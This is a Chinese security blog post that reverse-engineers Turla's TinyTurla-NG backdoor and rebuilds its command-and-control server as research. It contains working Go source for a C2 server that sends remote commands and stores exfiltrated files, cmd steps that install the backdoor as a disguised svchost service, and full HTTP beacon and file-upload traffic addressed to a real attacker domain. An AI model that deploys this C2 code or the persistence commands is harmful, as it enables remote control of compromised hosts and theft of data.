逆向开发Turla组织TinyTurla-NG新后门C&C站点
T0daySeeker 发表于 四川 历史精选 6765浏览 · 2024-02-27 00:45

概述

在上一篇《逆向开发Turla组织TinyTurla后门控制端》文章中,笔者先从TinyTurla后门入手,对TinyTurla后门开展了相关研究分析工作,通过对TinyTurla后门的通信模型进行详细的剖析,模拟构建了TinyTurla后门的控制端。

因此,在本篇文章中,笔者将按照上一篇文章的研究思路,尝试对思科Talos团队《TinyTurla Next Generation - Turla APT spies on Polish NGOs》( https://blog.talosintelligence.com/tinyturla-next-generation/ )报告中提到的Turla组织使用的新后门(TinyTurla-NG)进行研究分析,并从如下角度开展研究工作:

  • TinyTurla-NG新后门与TinyTurla后门的植入方式相同,均是以服务DLL的形式出现,并且均是通过svchost.exe启动,因此先尝试对TinyTurla-NG新后门的运行场景进行复现;
  • TinyTurla-NG新后门的功能代码较TinyTurla后门复杂一些,通过对TinyTurla-NG新后门开展逆向分析工作,对其样本功能及运行逻辑进行详细剖析梳理;
  • 通过动态调试,研究分析TinyTurla-NG新后门的通信模型;
  • 尝试构建TinyTurla-NG新后门C&C站点,模拟复现TinyTurla-NG新后门的远程控制行为及恶意流量。

相关报告截图如下:

新后门C&C站点效果

通过构建TinyTurla-NG新后门C&C站点程序,我们可模拟实现TinyTurla-NG新后门的使用场景。

C&C站点程序启用后,我们可正常访问其WEB服务,相关截图如下:

TinyTurla-NG新后门上线后,即可开展正常的远控行为,相关截图如下:

通信过程中C&C站点中内置的远控指令如下:

通信过程中C&C站点记录的远控指令响应结果如下:

通信过程中C&C站点对窃取的文件内容进行保存,相关截图如下:

通信过程中产生的http通信数据包截图如下:(将TinyTurla-NG新后门文件中的内置https外联URL修改为http外联URL即可实现对HTTP站点的访问

相关操作命令如下:

F:\GolandProjects\awesomeProject3>awesomeProject3.exe
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:   export GIN_MODE=release
 - using code:  gin.SetMode(gin.ReleaseMode)

307b5c9a Client Ready
[GIN] 2024/02/26 - 13:43:15 |[97;42m 200 [0m|      1.0621ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:25 |[97;42m 200 [0m|       1.686ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:35 |[97;42m 200 [0m|      2.0395ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a [+] ShortTimer and FailCounter changed. New ShortTimer is 1 minute & New FailCounter is 1
[GIN] 2024/02/26 - 13:43:36 |[97;42m 200 [0m|      1.5504ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:42 |[97;42m 200 [0m|      1.8533ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 437 > NUL

C:\Windows\system32>ipconfig

Windows IP Configuration


Ethernet adapter Bluetooth ��������:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter ��������:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::5c38:ccd5:e424:fdfc%11
   IPv4 Address. . . . . . . . . . . : 192.168.153.130
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Tunnel adapter isatap.{8B288427-3826-4FFD-BF89-490C950BBA8A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter isatap.localdomain:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::5efe:192.168.153.130%15
   Default Gateway . . . . . . . . . :

C:\Windows\system32>exit

[GIN] 2024/02/26 - 13:43:43 |[97;42m 200 [0m|     15.2158ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:50 |[97;42m 200 [0m|      2.0944ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 437 > NUL

C:\Windows\system32>calc.exe

C:\Windows\system32>exit

[GIN] 2024/02/26 - 13:43:53 |[97;42m 200 [0m|      1.0216ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:00 |[97;42m 200 [0m|      1.9848ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 437 > NUL

C:\Windows\system32>dir C:\Users\admin\Desktop
 Volume in drive C has no label.
 Volume Serial Number is DEA8-B705

 Directory of C:\Users\admin\Desktop

2024/02/26  11:31    <DIR>          .
2024/02/26  11:31    <DIR>          ..
2024/02/22  23:13               507 111.txt
2011/09/29  09:22            32,256 apateDNS.exe
2019/01/23  23:23            45,272 nc64.exe
2023/11/27  14:41             2,182 Process Hacker 2.lnk
2023/11/27  14:39    <DIR>          snapshot_2023-11-18_02-28
2023/11/27  14:40             1,315 x96dbg.exe - ????.lnk
              15 File(s)     14,600,939 bytes
               4 Dir(s)  49,213,665,280 bytes free

C:\Windows\system32>exit

[GIN] 2024/02/26 - 13:44:00 |[97;42m 200 [0m|      1.9138ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:06 |[97;42m 200 [0m|       652.7µs | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"

[GIN] 2024/02/26 - 13:44:06 |[97;42m 200 [0m|         521µs | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:08 |[97;42m 200 [0m|      3.0731ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a [+] File C:\Users\admin\Desktop\111.txt posted

[GIN] 2024/02/26 - 13:44:08 |[97;42m 200 [0m|      1.4707ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a

新后门运行场景复现

根据报告中的描述,TinyTurla-NG新后门与TinyTurla后门的植入方式相同,均是以服务DLL的形式出现,并且均是通过svchost.exe启动。因此,为了能够快速对TinyTurla-NG新后门的运行场景进行复现,我们可以模仿《逆向开发Turla组织TinyTurla后门控制端》文章中针对TinyTurla后门的运行场景复现方法,对TinyTurla-NG新后门的运行场景进行复现。

先将TinyTurla-NG新后门重命名为w64time.dll,然后在cmd中执行如下指令,即可对TinyTurla-NG新后门的运行场景进行有效复现:

copy "w64time.dll" %systemroot%\system32\

sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start= auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f

sc start W64Time

相关执行效果截图如下:

样本功能分析

通过对TinyTurla-NG新后门进行逆向分析,梳理TinyTurla-NG新后门运行逻辑如下:

  • 服务成功启动后,将调用ServiceMain函数,在ServiceMain函数中,将调用beginthreadex函数创建主感染线程;
  • 在主感染线程中,样本将创建两个线程:
    • 第一个线程主要用于向C&C发起网络通信;
    • 第二个线程主要用于对第一个线程中接收的远控命令进行执行;

创建主感染线程

服务成功启动后,样本将调用ServiceMain函数。在ServiceMain函数中,样本将通过调用beginthreadex函数来创建主感染线程。beginthreadex函数的第四个函数参数为线程入口函数参数,在此样本中传入的是一个结构体,最后通过在入口函数中调用结构体中的函数地址以实现线程执行。

相关代码截图如下:

初始化配置结构体

进入主感染线程后,样本将执行一系列初始化操作,对后续代码执行过程中所需的配置信息进行初始化。

相关代码截图如下:

检测powershell版本及windows版本

在开始远控功能时,样本还将尝试获取powershell版本及windows版本信息,若powershell版本大于等于5,则后续将调用powershell用于执行远控shell指令。

相关代码截图如下:

线程一

线程一主要用于向C&C发起网络通信,发起网络通信使用的API为WINHTTP,相关代码截图如下:

线程二

线程二主要用于对第一个线程中接收的远控命令进行执行,相关代码截图如下:

远控指令

通过分析,发现TinyTurla-NG新后门支持多个远控指令,远控指令外的命令将以shell方式进行执行。

特殊指令如下:

指令 备注
changepoint 检索在受感染端点上执行命令的结果
timeout 重新配置后门向C&C发起任务请求的间隔休眠时间
changeshell 切换执行shell的方式,在powershell与cmd之间切换
get 从C&C处获取文件并保存
post 上传文件至C&C处
killme 删除文件

执行shell命令

相关代码截图如下:

timeout指令

相关代码截图如下:

post指令

相关代码截图如下:

killme指令

相关代码截图如下:

外联地址

通过分析,发现TinyTurla-NG新后门的外联地址是以明文形式存放于样本文件中的,相关截图如下:

C&C思考

通过对TinyTurla-NG新后门进行逆向分析,我们发现此样本的C&C地址为WEB服务网站。

结合思科报告中关于C&C的描述,我们发现TinyTurla-NG新后门的部分C&C地址存在文件路径泄露,相关截图如下:

基于文件路径泄露信息,我们得知在C&C上存在多个日志文件,若能够获取相关日志文件,我们即可更进一步的了解整个攻击活动的情况:

  • 基于文件路径泄露信息,我们可通过空间测绘平台或直接扫描探测,挖掘扩线TinyTurla-NG新后门的C&C地址;
  • 基于log.txt文件内容,我们可获取所有受控IP信息;
  • 基于tasks.txt、result.txt文件内容,我们可复现还原攻击者在攻击活动中的所有窃密行为;

后门通信模型分析

通过对TinyTurla-NG新后门通信模型进行分析,发现TinyTurla-NG新后门的HTTP请求主要分为如下情况:

  • POST请求中,表单数据名称为"result":主要用于发送上线认证信标及命令执行后的响应数据;
  • POST请求中,表单数据名称为"gettask":主要用于请求获取远控指令;
  • POST请求中,表单数据名称为"file":主要用于发送文件内容;
  • POST响应请求中,实际远控指令前需要携带“rsp:”字符串;

相关截图如下:

上线认证

通过分析,发现TinyTurla-NG新后门运行后,将首先发送上线认证数据,便于C&C对受控主机的远控行为数据进行管理。在上线认证通信中,后门将发送“Client Ready”字符串作为信标进行发送。

详细情况如下:

#**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 190
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain

Client Ready
-----
....  

#**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:35:54 GMT
Content-Length: 4

rsp:

远控功能

通过分析,发现TinyTurla-NG新后门支持多种远控指令,通信模型结构主要有两种类型:

  • 远控指令为除上传文件、下载文件外的常规指令;
  • 远控指令为上传文件、下载文件类指令;

常规指令

常规指令的通信模型情况如下:

#**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 175
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="gettask"
Content-Type: text/plain

-----
.a

#**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:01 GMT
Content-Length: 15

rsp:timeout 1 1

#**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 267
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain

[+] ShortTimer and FailCounter changed. New ShortTimer is 1 minute & New FailCounter is 1
-----
....

#**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:10 GMT
Content-Length: 4

rsp:

上传文件、下载文件类指令

上传文件、下载文件类指令的通信模型情况如下:

#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 175
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="gettask"
Content-Type: text/plain

-----
.\
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:36 GMT
Content-Length: 39

rsp:post C:\Users\admin\Desktop\111.txt
#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 738
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="file"; filename="111.txt"; filename*=utf-8''111.txt
Content-Type: application/octet-stream

package main

import (
    "fmt"
    "os"
)

func main() {
    filePath := "test.txt"

    // ..............................................
    file, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0644)
    if err != nil {
        fmt.Println("............:", err)
        return
    }
    defer file.Close()

    // ........
    content := "................\n"
    _, err = file.WriteString(content)
    if err != nil {
        fmt.Println("............:", err)
        return
    }

    fmt.Println("....................")
}
-----
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:40 GMT
Content-Length: 4

rsp:
#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 225
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain

[+] File C:\Users\admin\Desktop\111.txt posted

-----
.
..
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:42 GMT
Content-Length: 4

rsp:

模拟构建C&C站点

在笔者模拟构建TinyTurla-NG新后门C&C站点的过程中,笔者最初准备尝试使用自签名证书构建一个HTTPS站点,但在实际构建过程中,笔者发现TinyTurla-NG新后门代码中并未像TinyTurla后门调用了WinHttpSetOption函数对证书错误信息进行忽略,因此,TinyTurla-NG新后门无法成功访问使用自签名证书构建的HTTPS站点。

通过实际访问TinyTurla-NG新后门的C&C站点,发现其C&C站点的证书信息确实是正常的证书信息,相关截图如下:

由于笔者没有有效证书文件,因此笔者只能尝试模拟构建一个HTTP站点(将TinyTurla-NG新后门文件中的内置https外联URL修改为http外联URL即可实现对HTTP站点的访问),若大家感兴趣且手头有有效证书文件,可以尝试将代码修改为HTTPS站点。

在这里,笔者将使用golang语言模拟构建TinyTurla-NG新后门C&C站点,详细情况如下:

代码结构如下:

  • tasks.txt
rsp:timeout 1 1
rsp:ipconfig
rsp:calc.exe
rsp:dir C:\Users\admin\Desktop
rsp:post C:\Users\admin\Desktop\111.txt
rsp:whoami
  • main.go
package main

import (
    "awesomeProject3/common"
    "github.com/gin-gonic/gin"
    "os"
)

func main() {
    init_tasks()

    r := gin.Default()
    // 设置GIN模式为release模式
    gin.SetMode(gin.ReleaseMode)
    r.GET("/", common.HandleRoot)
    r.POST("/wp-includes/blocks/rss.old.php", common.Handle_POST)
    r.POST("/wordpress/wp-includes/rss.old.php", common.Handle_POST)
    r.Run(":80")
}

func init_tasks() {
    os.Remove("./conf/tmp.txt")
    common.WriteFile("./conf/tmp.txt", "0")
}
  • common.go
package common

import (
    "bufio"
    "fmt"
    "github.com/gin-gonic/gin"
    "io"
    "io/ioutil"
    "os"
    "strconv"
)

func HandleRoot(c *gin.Context) {
    c.String(200, "Hello, World!")
}

func Handle_POST(c *gin.Context) {
    str_id := c.PostForm("id")
    str_result := c.PostForm("result")
    file, header, _ := c.Request.FormFile("file")
    fmt.Println(str_id, str_result)
    if str_result != "" {
        WriteFile_A("./conf/"+str_id+".txt", "**********output********\r\n"+str_result+"\r\n")
        c.String(200, "rsp:")
    } else if header != nil {
        defer file.Close()
        // 创建一个新文件
        out, _ := os.Create("./conf/post_" + header.Filename)
        defer out.Close()
        // 将上传的文件内容拷贝到新文件中
        _, _ = io.Copy(out, file)
        c.String(200, "rsp:")
    } else if str_result == "" {
        str, _ := ReadFile("./conf/tmp.txt")
        num, _ := strconv.Atoi(str)
        strs := FileToSlice("./conf/tasks.txt")
        if num+1 < len(strs) {
            os.Remove("./conf/tmp.txt")
            WriteFile("./conf/tmp.txt", strconv.Itoa(num+1))
            c.String(200, strs[num])
        } else {
            c.String(200, "rsp:")
        }
    }
}

func FileToSlice(file string) []string {
    fil, _ := os.Open(file)
    defer fil.Close()
    var lines []string
    scanner := bufio.NewScanner(fil)
    for scanner.Scan() {
        lines = append(lines, scanner.Text())
    }
    return lines
}

// ReadFile is used to read a given file and return its data as a string.
func ReadFile(filename string) (string, error) {
    f, err := os.Open(filename)
    if err != nil {
        return "", err
    }
    defer f.Close()

    b, err := ioutil.ReadAll(f)
    if err != nil {
        return "", err
    }

    return string(b), nil
}

// WriteFile is used to write data into a given file.
func WriteFile(filename, data string) error {
    file, err := os.Create(filename)
    if err != nil {
        return err
    }
    defer file.Close()

    _, err = io.WriteString(file, data)
    if err != nil {
        return err
    }

    return nil
}

func checkFileIsExist(filename string) bool {
    var exist = true
    if _, err := os.Stat(filename); os.IsNotExist(err) {
        exist = false
    }
    return exist
}

func WriteFile_A(filename string, buffer string) {
    var f *os.File
    var err error

    if checkFileIsExist(filename) {
        f, err = os.OpenFile(filename, os.O_APPEND|os.O_WRONLY, os.ModeAppend)
    } else {
        f, err = os.Create(filename)
    }
    _, err = io.WriteString(f, buffer)
    if err != nil {
        fmt.Println(err.Error())
        return
    }
    f.Close()
}
0 条评论
某人
表情
可输入 255

没有评论